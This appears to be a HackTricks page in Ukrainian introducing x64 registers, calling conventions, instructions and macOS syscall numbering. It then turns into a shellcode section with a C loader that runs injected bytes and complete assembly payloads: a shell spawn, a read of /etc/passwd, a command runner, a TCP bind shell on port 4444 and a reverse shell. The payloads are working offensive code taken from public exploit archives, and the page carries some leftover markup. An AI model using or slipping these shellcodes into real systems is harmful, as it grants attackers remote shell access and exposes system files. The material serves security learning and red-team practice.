Introduction to x64

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Introduction to x64

x64, також відомий як x86-64, є 64-бітною архітектурою процесора, яка переважно використовується в настільних і серверних обчисленнях. Виникнувши з архітектури x86, виробленої Intel, і пізніше прийнятої AMD під назвою AMD64, це поширена архітектура в персональних комп'ютерах і серверах сьогодні.

Registers

x64 розширює архітектуру x86, маючи 16 загальних регістрів, позначених rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, а також r8 до r15. Кожен з цих регістрів може зберігати 64-бітне (8-байтове) значення. Ці регістри також мають 32-бітні, 16-бітні та 8-бітні підрегістри для сумісності та специфічних завдань.

1. rax - Традиційно використовується для значень повернення з функцій.

2. rbx - Часто використовується як базовий регістр для операцій з пам'яттю.

3. rcx - Зазвичай використовується для лічильників циклів.

4. rdx - Використовується в різних ролях, включаючи розширені арифметичні операції.

5. rbp - Базовий вказівник для стекового фрейму.

6. rsp - Вказівник стека, що відстежує верхню частину стека.

7. rsi та rdi - Використовуються для індексів джерела та призначення в операціях зі строками/пам'яттю.

8. r8 до r15 - Додаткові загальні регістри, введені в x64.

Calling Convention

Конвенція виклику x64 варіюється між операційними системами. Наприклад:

• Windows: Перші чотири параметри передаються в регістри rcx, rdx, r8 та r9. Подальші параметри поміщаються в стек. Значення повернення знаходиться в rax.

• System V (зазвичай використовується в UNIX-подібних системах): Перші шість цілочисельних або вказівникових параметрів передаються в регістри rdi, rsi, rdx, rcx, r8 та r9. Значення повернення також знаходиться в rax.

Якщо функція має більше ніж шість вхідних параметрів, інші передаються через стек. RSP, вказівник стека, повинен бути вирівняний на 16 байт, що означає, що адреса, на яку він вказує, повинна ділитися на 16 перед будь-яким викликом. Це означає, що зазвичай нам потрібно забезпечити правильне вирівнювання RSP у нашому shellcode перед викликом функції. Однак на практиці системні виклики працюють багато разів, навіть якщо ця вимога не виконується.

Calling Convention in Swift

Swift має свою власну конвенцію виклику, яку можна знайти в https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64

Common Instructions

Інструкції x64 мають багатий набір, зберігаючи сумісність з попередніми інструкціями x86 і вводячи нові.

• mov: Перемістити значення з одного регістру або місця в пам'яті в інше.

• Приклад: mov rax, rbx — Переміщує значення з rbx в rax.

• push і pop: Помістити або витягти значення зі/в стек.

• Приклад: push rax — Поміщає значення в rax на стек.

• Приклад: pop rax — Витягує верхнє значення зі стека в rax.

• add і sub: Операції додавання та віднімання.

• Приклад: add rax, rcx — Додає значення в rax і rcx, зберігаючи результат в rax.

• mul і div: Операції множення та ділення. Примітка: ці інструкції мають специфічну поведінку щодо використання операндів.

• call і ret: Використовуються для виклику та повернення з функцій.

• int: Використовується для виклику програмного переривання. Наприклад, int 0x80 використовувався для системних викликів у 32-бітному x86 Linux.

• cmp: Порівняти два значення та встановити прапори ЦП на основі результату.

• Приклад: cmp rax, rdx — Порівнює rax з rdx.

• je, jne, jl, jge, ...: Умовні стрибки, які змінюють потік управління на основі результатів попереднього cmp або тесту.

• Приклад: Після інструкції cmp rax, rdx, je label — Стрибає до label, якщо rax дорівнює rdx.

• syscall: Використовується для системних викликів в деяких системах x64 (наприклад, сучасний Unix).

• sysenter: Оптимізована інструкція системного виклику на деяких платформах.

Function Prologue

1. Помістіть старий базовий вказівник: push rbp (зберігає базовий вказівник виклику)

2. Перемістіть поточний вказівник стека в базовий вказівник: mov rbp, rsp (налаштовує новий базовий вказівник для поточної функції)

3. Виділіть місце в стеці для локальних змінних: sub rsp, <size> (де <size> — це кількість байтів, що потрібні)

Function Epilogue

1. Перемістіть поточний базовий вказівник у вказівник стека: mov rsp, rbp (звільняє локальні змінні)

2. Витягніть старий базовий вказівник зі стека: pop rbp (відновлює базовий вказівник виклику)

3. Повернення: ret (повертає управління виклику)

macOS

syscalls

Існують різні класи системних викликів, ви можете знайти їх тут:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Тоді ви можете знайти кожен номер системного виклику за цим посиланням:

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Отже, щоб викликати системний виклик open (5) з Unix/BSD класу, вам потрібно додати: 0x2000000

Отже, номер системного виклику для виклику open буде 0x2000005

Shellcodes

Щоб скомпілювати:

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

Щоб витягти байти:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'

C код для тестування shellcode

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Взято з [**тут**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) та пояснено.

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='з adr'>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

Читати за допомогою cat

Мета полягає в тому, щоб виконати execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес).

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Виклик команди з sh

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Bind shell

Bind shell з https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html на порті 4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Reverse Shell

Реверсний шелл з https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Реверсний шелл на 127.0.0.1:4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)